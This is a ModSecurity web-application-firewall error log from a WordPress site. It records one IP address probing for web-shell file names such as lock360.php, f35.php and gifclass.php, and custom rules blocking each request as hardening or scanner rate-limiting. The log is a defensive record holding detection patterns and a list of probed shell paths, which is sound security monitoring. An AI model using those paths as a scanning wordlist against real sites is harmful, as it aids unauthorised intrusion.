[Sun Mar 01 05:40:44.421104 2026] [:error] [pid 8688:tid 8699] [client 20.104.124.39:1499] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaNg3DHJ4Nn-RvulD0qf2gAAAUk"]
[Sun Mar 01 05:40:46.384794 2026] [:error] [pid 24576:tid 24596] [client 20.104.124.39:1524] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaNg3ovfb5CnctJh070OEgAAARA"]
[Sun Mar 01 05:40:47.928382 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:1509] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaNg3zHJ4Nn-RvulD0qf_QAAAUQ"]
[Sun Mar 01 05:40:49.696828 2026] [:error] [pid 21263:tid 21269] [client 20.104.124.39:1522] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaNg4dAxjzLvN1upBhntVwAAAMI"]
[Sun Mar 01 05:40:50.998492 2026] [:error] [pid 21158:tid 21216] [client 20.104.124.39:1433] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aaNg4jriSIe3-pWnbPbmvwAAAFc"]
[Sun Mar 01 05:40:51.865253 2026] [:error] [pid 24576:tid 24594] [client 20.104.124.39:17363] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaNg44vfb5CnctJh070OGwAAAQ4"]
[Sun Mar 01 05:40:52.551741 2026] [:error] [pid 8688:tid 8708] [client 20.104.124.39:17374] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaNg5DHJ4Nn-RvulD0qgKgAAAVI"]
[Sun Mar 01 05:40:53.665043 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:1464] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaNg5THJ4Nn-RvulD0qgNgAAAUQ"]
[Sun Mar 01 05:40:54.281274 2026] [:error] [pid 21159:tid 21222] [client 20.104.124.39:1459] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaNg5uLi3ouy1NZIkgoqHwAAAIE"]
[Sun Mar 01 05:40:54.840569 2026] [:error] [pid 8688:tid 8705] [client 20.104.124.39:1466] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaNg5jHJ4Nn-RvulD0qgRgAAAU8"]
[Sun Mar 01 05:40:55.540503 2026] [:error] [pid 24576:tid 24580] [client 20.104.124.39:1411] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaNg54vfb5CnctJh070OIQAAAQE"]
[Sun Mar 01 05:40:56.198600 2026] [:error] [pid 8688:tid 8691] [client 20.104.124.39:1439] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaNg6DHJ4Nn-RvulD0qgUQAAAUE"]
[Sun Mar 01 05:40:56.901684 2026] [:error] [pid 24576:tid 24584] [client 20.104.124.39:1438] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaNg6Ivfb5CnctJh070OJQAAAQU"]
[Sun Mar 01 05:40:57.912208 2026] [:error] [pid 8688:tid 8692] [client 20.104.124.39:1437] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaNg6THJ4Nn-RvulD0qgZwAAAUI"]
[Sun Mar 01 05:40:58.393088 2026] [:error] [pid 21158:tid 21209] [client 20.104.124.39:1410] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaNg6jriSIe3-pWnbPbmzAAAAFA"]
[Sun Mar 01 05:40:59.510208 2026] [:error] [pid 8688:tid 8706] [client 20.104.124.39:17377] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaNg6zHJ4Nn-RvulD0qgfgAAAVA"]
[Sun Mar 01 05:41:00.355763 2026] [:error] [pid 24576:tid 24595] [client 20.104.124.39:17369] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aaNg7Ivfb5CnctJh070OKQAAAQ8"]
[Sun Mar 01 05:41:01.579605 2026] [:error] [pid 8688:tid 8710] [client 20.104.124.39:17350] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaNg7THJ4Nn-RvulD0qgjgAAAVQ"]
[Sun Mar 01 05:41:02.179133 2026] [:error] [pid 21159:tid 21221] [client 20.104.124.39:17397] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaNg7uLi3ouy1NZIkgoqKwAAAIA"]
[Sun Mar 01 05:41:02.974179 2026] [:error] [pid 21159:tid 21233] [client 20.104.124.39:17355] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaNg7uLi3ouy1NZIkgoqLgAAAIw"]
[Sun Mar 01 05:41:04.074003 2026] [:error] [pid 24576:tid 24599] [client 20.104.124.39:1469] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aaNg8Ivfb5CnctJh070OLwAAARM"]
[Sun Mar 01 05:41:05.185705 2026] [:error] [pid 8688:tid 8692] [client 20.104.124.39:17399] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaNg8THJ4Nn-RvulD0qgsgAAAUI"]
[Sun Mar 01 05:41:06.668199 2026] [:error] [pid 21158:tid 21202] [client 20.104.124.39:1414] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaNg8jriSIe3-pWnbPbm2AAAAEk"]
[Sun Mar 01 05:41:07.824559 2026] [:error] [pid 24576:tid 24581] [client 20.104.124.39:1456] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaNg84vfb5CnctJh070OPQAAAQI"]
[Sun Mar 01 05:41:08.700901 2026] [:error] [pid 8688:tid 8698] [client 20.104.124.39:1451] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aaNg9DHJ4Nn-RvulD0qgwQAAAUg"]
[Sun Mar 01 05:41:09.333582 2026] [:error] [pid 21158:tid 21213] [client 20.104.124.39:1425] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaNg9TriSIe3-pWnbPbm2wAAAFQ"]
[Sun Mar 01 05:41:10.004458 2026] [:error] [pid 21263:tid 21274] [client 20.104.124.39:1529] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaNg9tAxjzLvN1upBhntgQAAAMc"]
[Sun Mar 01 05:41:10.767438 2026] [:error] [pid 21159:tid 21229] [client 20.104.124.39:1448] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaNg9uLi3ouy1NZIkgoqRAAAAIg"]
[Sun Mar 01 05:41:11.417076 2026] [:error] [pid 8688:tid 8691] [client 20.104.124.39:1457] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aaNg9zHJ4Nn-RvulD0qgzwAAAUE"]
[Sun Mar 01 05:41:12.496789 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:17384] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aaNg-DHJ4Nn-RvulD0qg1wAAAUs"]
[Sun Mar 01 05:41:13.406071 2026] [:error] [pid 8688:tid 8704] [client 20.104.124.39:17403] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aaNg-THJ4Nn-RvulD0qg3QAAAU4"]
[Sun Mar 01 05:41:14.180165 2026] [:error] [pid 24576:tid 24602] [client 20.104.124.39:1468] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aaNg-ovfb5CnctJh070OTQAAARY"]
[Sun Mar 01 05:41:14.886272 2026] [:error] [pid 24576:tid 24584] [client 20.104.124.39:1440] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aaNg-ovfb5CnctJh070OVAAAAQU"]
[Sun Mar 01 05:42:06.376061 2026] [:error] [pid 21156:tid 21180] [client 20.104.124.39:1429] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaNhLqsaG_9IkG8N2p3ttwAAAA4"]
[Sun Mar 01 05:42:07.731025 2026] [:error] [pid 21263:tid 21273] [client 20.104.124.39:1497] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaNhL9AxjzLvN1upBhnuJAAAAMY"]
[Sun Mar 01 05:42:08.572918 2026] [:error] [pid 21156:tid 21189] [client 20.104.124.39:17373] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaNhMKsaG_9IkG8N2p3tvAAAABc"]
[Sun Mar 01 05:42:10.292489 2026] [:error] [pid 21263:tid 21280] [client 20.104.124.39:17284] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaNhMtAxjzLvN1upBhnuJQAAAM0"]
[Sun Mar 01 05:42:12.084975 2026] [:error] [pid 8688:tid 8698] [client 20.104.124.39:17390] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaNhNDHJ4Nn-RvulD0qiKAAAAUg"]
[Sun Mar 01 05:42:12.799982 2026] [:error] [pid 24576:tid 24596] [client 20.104.124.39:1482] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaNhNIvfb5CnctJh070PQwAAARA"]
[Sun Mar 01 05:42:13.357959 2026] [:error] [pid 21156:tid 21190] [client 20.104.124.39:17316] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaNhNasaG_9IkG8N2p3tvwAAABg"]
[Sun Mar 01 05:42:14.157932 2026] [:error] [pid 24576:tid 24582] [client 20.104.124.39:17379] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaNhNovfb5CnctJh070PTAAAAQM"]
[Sun Mar 01 05:42:15.064144 2026] [:error] [pid 24576:tid 24602] [client 20.104.124.39:1455] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaNhN4vfb5CnctJh070PUAAAARY"]
[Sun Mar 01 05:42:16.010495 2026] [:error] [pid 24576:tid 24600] [client 20.104.124.39:17385] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaNhOIvfb5CnctJh070PVQAAARQ"]
[Sun Mar 01 05:42:16.713017 2026] [:error] [pid 24576:tid 24604] [client 20.104.124.39:17353] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaNhOIvfb5CnctJh070PWQAAARg"]
[Sun Mar 01 05:42:17.690107 2026] [:error] [pid 8688:tid 8698] [client 20.104.124.39:17299] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaNhOTHJ4Nn-RvulD0qiRgAAAUg"]
[Sun Mar 01 05:42:18.659332 2026] [:error] [pid 24576:tid 24599] [client 20.104.124.39:1442] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaNhOovfb5CnctJh070PXwAAARM"]
[Sun Mar 01 05:42:19.420346 2026] [:error] [pid 24576:tid 24591] [client 20.104.124.39:1462] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaNhO4vfb5CnctJh070PbAAAAQs"]
[Sun Mar 01 05:42:19.958156 2026] [:error] [pid 24576:tid 24584] [client 20.104.124.39:1474] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaNhO4vfb5CnctJh070PcwAAAQU"]
[Sun Mar 01 05:42:20.522209 2026] [:error] [pid 21158:tid 21206] [client 20.104.124.39:17383] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaNhPDriSIe3-pWnbPbnOAAAAE0"]
[Sun Mar 01 05:42:21.159279 2026] [:error] [pid 8688:tid 8698] [client 20.104.124.39:1473] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaNhPTHJ4Nn-RvulD0qiVgAAAUg"]
[Sun Mar 01 05:42:21.865593 2026] [:error] [pid 21263:tid 21287] [client 20.104.124.39:1444] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaNhPdAxjzLvN1upBhnuMQAAANQ"]
[Sun Mar 01 05:42:22.720743 2026] [:error] [pid 21263:tid 21273] [client 20.104.124.39:1476] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaNhPtAxjzLvN1upBhnuOAAAAMY"]
[Sun Mar 01 05:42:24.387407 2026] [:error] [pid 8688:tid 8692] [client 20.104.124.39:1472] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaNhQDHJ4Nn-RvulD0qiZQAAAUI"]
[Sun Mar 01 05:42:25.049331 2026] [:error] [pid 8688:tid 8705] [client 20.104.124.39:17348] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaNhQTHJ4Nn-RvulD0qiagAAAU8"]
[Sun Mar 01 05:42:27.223068 2026] [:error] [pid 21156:tid 21177] [client 20.104.124.39:1527] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaNhQ6saG_9IkG8N2p3tyQAAAAs"]
[Sun Mar 01 05:42:28.648049 2026] [:error] [pid 21263:tid 21270] [client 20.104.124.39:1507] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaNhRNAxjzLvN1upBhnuSAAAAMM"]
